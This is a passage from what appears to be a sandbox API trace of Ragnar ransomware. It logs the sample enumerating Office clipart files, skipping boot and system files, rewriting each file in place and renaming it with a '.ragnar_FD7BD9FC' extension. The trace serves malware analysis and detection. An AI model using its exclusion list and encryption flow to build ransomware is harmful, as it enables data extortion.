Office\\CLIPART\\PUB60COR\\J0107722.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.ragnar_FD7BD9FC" [0084.447] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.448] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0084.448] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.448] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107724.WMF" | out: lpString1="J0107724.WMF") returned="J0107724.WMF" [0084.448] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned=".WMF" [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="autorun.inf") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="boot.ini") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="bootfont.bin") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="bootsect.bak") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="bootmgr") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="bootmgr.efi") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="bootmgfw.efi") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="desktop.ini") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="iconcache.db") returned 1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="ntldr") returned -1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="ntuser.dat") returned -1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="ntuser.dat.log") returned -1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="ntuser.ini") returned -1 [0084.448] lstrcmpiW (lpString1="J0107724.WMF", lpString2="thumbs.db") returned -1 [0084.448] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.449] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0084.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.449] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7016) returned 1 [0084.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.449] GetProcessHeap () returned 0x580000 [0084.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.449] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.451] VirtualAlloc (lpAddress=0x0, dwSize=0x1b68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.451] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b68, lpOverlapped=0x0) returned 1 [0084.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b68, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.452] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b68, lpOverlapped=0x0) returned 1 [0084.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.452] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.452] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.453] GetProcessHeap () returned 0x580000 [0084.453] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.453] CloseHandle (hObject=0xf4) returned 1 [0084.453] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" [0084.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ragnar_FD7BD9FC" [0084.453] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.453] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0084.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.453] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107728.WMF" | out: lpString1="J0107728.WMF") returned="J0107728.WMF" [0084.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned=".WMF" [0084.453] lstrcmpiW (lpString1="J0107728.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="autorun.inf") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="boot.ini") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="bootfont.bin") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="bootsect.bak") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="bootmgr") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="bootmgr.efi") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="bootmgfw.efi") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="desktop.ini") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="iconcache.db") returned 1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="ntldr") returned -1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="ntuser.dat") returned -1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="ntuser.dat.log") returned -1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="ntuser.ini") returned -1 [0084.454] lstrcmpiW (lpString1="J0107728.WMF", lpString2="thumbs.db") returned -1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.454] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0084.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.454] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5492) returned 1 [0084.455] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x156b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.455] GetProcessHeap () returned 0x580000 [0084.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.455] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.456] VirtualAlloc (lpAddress=0x0, dwSize=0x1574, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.456] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1574, lpOverlapped=0x0) returned 1 [0084.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1574, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.457] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1574, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1574, lpOverlapped=0x0) returned 1 [0084.457] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1574, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.458] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.458] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.458] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.458] GetProcessHeap () returned 0x580000 [0084.458] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.458] CloseHandle (hObject=0xf4) returned 1 [0084.458] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" [0084.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ragnar_FD7BD9FC" [0084.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.459] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0084.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.459] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107730.WMF" | out: lpString1="J0107730.WMF") returned="J0107730.WMF" [0084.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned=".WMF" [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="autorun.inf") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="boot.ini") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="bootfont.bin") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="bootsect.bak") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="bootmgr") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="bootmgr.efi") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="bootmgfw.efi") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="desktop.ini") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="iconcache.db") returned 1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="ntldr") returned -1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="ntuser.dat") returned -1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="ntuser.dat.log") returned -1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="ntuser.ini") returned -1 [0084.459] lstrcmpiW (lpString1="J0107730.WMF", lpString2="thumbs.db") returned -1 [0084.459] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.459] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.459] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.460] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.460] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.460] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.460] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0084.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.461] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3060) returned 1 [0084.461] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.461] GetProcessHeap () returned 0x580000 [0084.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.461] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.463] VirtualAlloc (lpAddress=0x0, dwSize=0xbf4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.464] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbf4, lpOverlapped=0x0) returned 1 [0084.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbf4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.464] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbf4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbf4, lpOverlapped=0x0) returned 1 [0084.464] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbf4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.464] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.464] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.465] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.465] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.465] GetProcessHeap () returned 0x580000 [0084.465] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.465] CloseHandle (hObject=0xf4) returned 1 [0084.465] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" [0084.465] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ragnar_FD7BD9FC" [0084.465] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.465] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, 